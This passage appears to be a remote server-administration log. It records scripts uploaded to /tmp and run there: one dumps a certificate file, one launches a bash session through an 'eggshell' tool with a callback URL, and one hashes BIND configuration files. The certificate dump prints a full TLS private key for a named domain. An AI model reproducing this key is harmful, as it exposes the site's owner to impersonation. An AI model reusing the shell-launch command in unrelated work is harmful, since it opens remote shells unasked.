        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-13 06:00:33: 

chmod 755 /tmp/pkp902291; /tmp/pkp902291; rm /tmp/pkp902291

2026-04-13 06:00:33: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt	5364
89:89:ea:51:9d:3f:ce:d9:01:a0:45:7a:2a:cb:5f:51

-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgISBtGFvlbv4ZX4rPbMs3O0RH4zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDEzMDUwMjAxWhcNMjYwNzEyMDUwMjAwWjAgMR4wHAYDVQQD
ExVhdWRpby5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCMiQCPjuMZp0lAw0sVsK/una1XJs4sg/f4pE2Ay7w0o3+RvDzuM0Xy
OLN4LsKmYFNZqc5fQa0zqMY0MhesYq+oGeuBa8UJhw/6LfCHjUkJQyRRSc7jDYYy
g4Xgd/yQ+wL4U9shFTroSRlpRWLCbAT/6Y/2tBfnbR6qPYQaa/Y3SBtG97Ge3LG1
GfKa97pccPsVi34mb+p6AWh35MVg8kvs4YNkFRYKeVGdsNTg3ovF47veY7/3UF9q
SROW8UO1uXCa3UkxqzbMbruk2aL+8+svI1No+WRBXEfqqtUS19iPNjFWnoVhBbB8
3A9e2JXbZimm6I/dcILKfG6Z/GE3m45PAgMBAAGjggIkMIICIDAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQU55y4F1z8KH4BPFDc1MGMqC40xdkwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzAgBgNVHREEGTAXghVhdWRpby5kcmV3bWFyc2hhbGwuY2Ew
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
My5jLmxlbmNyLm9yZy81Mi5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdgDY
CVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ2FbWHbAAAEAwBHMEUC
IAgczavY+/ZBfCgCrFnT6YqHc6+ximxXNkVLsxSNDFypAiEAshsEvrCDaXtKqA/V
7XsLT9OK0YnjS9ftZz2OyN/Cj30AfwCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlt
eQCzEjxVJwAAAZ2FbWIJAAgAAAUABrClDgQDAEgwRgIhAN7WMdVhEFYPlmt6oM3/
G3awzPK2HpVCBGzgJjG+9mH7AiEAmuP7Zc+cigSAzLd8kzYlswIBYczZhvcyfERJ
aDTiuowwDQYJKoZIhvcNAQELBQADggEBAC2DF8HlMgHaLB/kBDluTuTVVLxrNpDy
31pZctRt+UcDxLuurPKE3UQQMFPniMLfm1exmby7v26Jx5+u8GvW+wQ/O8NZesEN
iAYJJDi57zCVtiaFGSnmVqJxHy5bXKa8I99R+ixhWHy+Pl6wP3AmPgtsY534AeAS
v5oaPmijdSWPcwDl5befy3qdL8SbbWEmRZP1fpGmXV+V1U7spzkeuzNeeKdIJ+Aw
8Xm2vJAc0x93HCvmKYVD5s1kYcrrud49N7R61DxhpWbld42/hIoYY+fMkSnL9sEa
d9J7rPgK3vCTtdXB3zSXrNikLblNqAqR2AZXVqzLYkW0HzIGHgVBNxg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCMiQCPjuMZp0lA
w0sVsK/una1XJs4sg/f4pE2Ay7w0o3+RvDzuM0XyOLN4LsKmYFNZqc5fQa0zqMY0
MhesYq+oGeuBa8UJhw/6LfCHjUkJQyRRSc7jDYYyg4Xgd/yQ+wL4U9shFTroSRlp
RWLCbAT/6Y/2tBfnbR6qPYQaa/Y3SBtG97Ge3LG1GfKa97pccPsVi34mb+p6AWh3
5MVg8kvs4YNkFRYKeVGdsNTg3ovF47veY7/3UF9qSROW8UO1uXCa3UkxqzbMbruk
2aL+8+svI1No+WRBXEfqqtUS19iPNjFWnoVhBbB83A9e2JXbZimm6I/dcILKfG6Z
/GE3m45PAgMBAAECggEABGShUIYw8d5Zhd1qUsqWf/5h1XWbFafSb+1YQYxyMlsM
uSuJ5BBU7BYlq2jFdkSl67RJL+UdBZ5jA8KvxsMW+/RDeQ+QtemI8FMl+mF077CE
9B2Qirx403S/vJ1Dl0H20nhx7dN8vJd8ZIliEEh8J4Z6P5ta8UW8ov8P9XDRM40m
S8oJCxggfCJTiQm1DDJmPoGusFwydu+Lxb9KQCSMXFc9Iefx7Cqq40vDrANHd7Yr
vVyTiWskyWa80X5xnb/MN+n0xJ7n9VKQnyChp1ZsFoeyxnaWDvoCXrdbU33C8f+R
x5UisQKb8lC+w8KP7GDBbmQCCoI164VntHqlFIhLkQKBgQC/7ljJdQf4mrZWoufE
XTJp4K3AYdzBdpvVpziOVl7HBYEPFTwGxw6kEHDGh8i5pWB1J04F0auGrXahmsUh
xxLgk/bq9YnYJDCoxvrr2b43Q5jW5CGHtWAmbSB9djNCLXKuZlDuylnsalBiDm40
D8v3bAQ9akw0vGaVfBssPVXbXQKBgQC7cpIj618ls6eLjcZkDnmo1egBUurx+RDD
OJbjjlmkSE/b4ZUFFgY+16T8TGMcT/WOwAreTXZrXyl5CYKh3dANmv8brzeKR/Va
tw8vcYI/7BFHhBcGlnkWpzpHmCzSZHLQxPPqoFasjEC7qbh6wMVfZ8fcVx6WJf7J
Iurs7+/hmwKBgAGmF4crhTUChzx5S8ppDozQTE3RyWa0ESSluhum7EuDZZdulERu
o1aPeZiLBBNsM0buXoI4SePvS4yZ2sWugyAAxWdBUrzTmsNoajFqfnLVFtQJw6v5
x+ismVHamRghcdHDuUBD5r/cLfKZsyKpXBQ1DlhEuIDfeXYhSc54fGtVAoGAeEsc
ciS42O8kVLDVYpzPgoRT8ZWO5V6bXU1RuBNAf+dQKKHqCmuJ8oZdgPRcnmzJ/6RK
1UMM/fcCHIT36nz46eJQWSnnEL0BPghAnIfRuMf8htLEHBww9VK4Wf3Uteh0rnnW
tvnS5cTUPhq7IzvW7lUhs8vM+zrC+b2I2ilY3oUCgYEAomJZHf6atomkSvffTvud
VPzTxEQcCymavUJmh81V9A3P5BTWg5v/+GyY/rFKkFmcuLi+HSGhOm+TfT2bhnXZ
Rzbv+KjptQFlkeXSOjrmqMJgBIW+QIX5tPiihybldcHu4S/RDdd8jx3wRTxfLnuR
KST0cBcEea/iQV6HdeMu06E=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-13 10:13:42: Establishing a connection
2026-04-13 10:18:11: Establishing a connection
2026-04-13 10:18:11: 

PUT: /tmp/pkp805205

#!/bin/bash
/usr/local/bin/eggshell -o -c bash -rw "de8debaf-ba22-4c79-b3b2-7e54152fd8de" -ro "2080c99a-e95e-42bf-a696-587c18e983df" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]" > /dev/null 2>&1 &
echo command launched: /usr/local/bin/eggshell -o -c bash -rw "de8debaf-ba22-4c79-b3b2-7e54152fd8de" -ro "2080c99a-e95e-42bf-a696-587c18e983df" -ci "https://pjy.pkp.us/~/eggshell/done?guid=[rw]"


2026-04-13 10:18:12: 

chmod 755 /tmp/pkp805205; /tmp/pkp805205; rm /tmp/pkp805205

2026-04-13 10:18:12: 


command launched: /usr/local/bin/eggshell -o -c bash -rw de8debaf-ba22-4c79-b3b2-7e54152fd8de -ro 2080c99a-e95e-42bf-a696-587c18e983df -ci https://pjy.pkp.us/~/eggshell/done?guid=[rw]


2026-04-15 15:10:59: Establishing a connection
2026-04-15 15:11:23: Establishing a connection
2026-04-15 15:11:23: 

PUT: /tmp/pkp314488

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-15 15:11:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp314488; rm /tmp/pkp314488'

2026-04-15 15:11:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
